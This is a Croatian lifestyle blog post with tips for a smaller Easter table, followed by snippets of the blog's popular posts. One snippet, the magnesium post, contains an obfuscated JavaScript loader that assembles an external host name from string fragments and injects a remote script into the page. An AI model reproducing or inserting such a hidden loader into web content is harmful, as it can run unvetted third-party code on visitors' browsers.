SAVJETI ZA PRIPREMU USKRSNOG STOLA U MALIM OBITELJIMA





Savjeti za pripremu uskrsnog stola u malim obiteljima 



Uskrs se često veže uz bogate stolove, pune pladnjeve i velike količine hrane. No stvarnost je danas često drugačija, mnogi blagdane provode u manjem krugu, u dvoje ili troje, bez velike obitelji za stolom.




Planirajte jelovnik unaprijed

Umjesto da kupujete i kuhate "od oka", napravite jasan plan što ćete točno pripremiti. Kada vidite cijeli jelovnik na papiru, lakše ćete kontrolirati količine i izbjeći dupliranje jela.


Smanjite porcije, ali ne i raznolikost

Ne morate se odreći tradicionalnih jela, ali ih prilagodite količinski. Radije pripremite manje količine više stvari nego velike količine nekoliko jela koje nećete stići pojesti.


Kupujte ciljano, ne impulzivno

Blagdanska kupovina često završi viškom namirnica koje se "nađu usput". Držite se popisa i izbjegavajte akcijske kupnje koje vam realno ne trebaju.


Birajte namirnice koje se mogu kombinirati

Planirajte jela tako da se sastojci mogu koristiti u više kombinacija. Primjerice, šunka od uskrsnog doručka može poslužiti i za kasniji ručak ili salatu.


Ne pretjerujte s kolačima

Jedan kolač i jedan desert ili jedna vrsta keksa sasvim su dovoljni za mali broj ljudi. Umjesto tri vrste kolača u velikim tepsijama, napravite manju mjeru ili odaberite nešto što se može zamrznuti.


Razmislite o "mini verzijama"

Polovične mjere recepata ili manji kalupi mogu napraviti veliku razliku. Danas je lako prilagoditi gotovo svaki recept manjem broju osoba.


Iskoristite zamrzivač pametno

Ako već pripremate nešto unaprijed, birajte jela koja se dobro zamrzavaju. Tako ćete imati obroke spremne za dane kada vam se neće kuhati i ništa se neće baciti.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više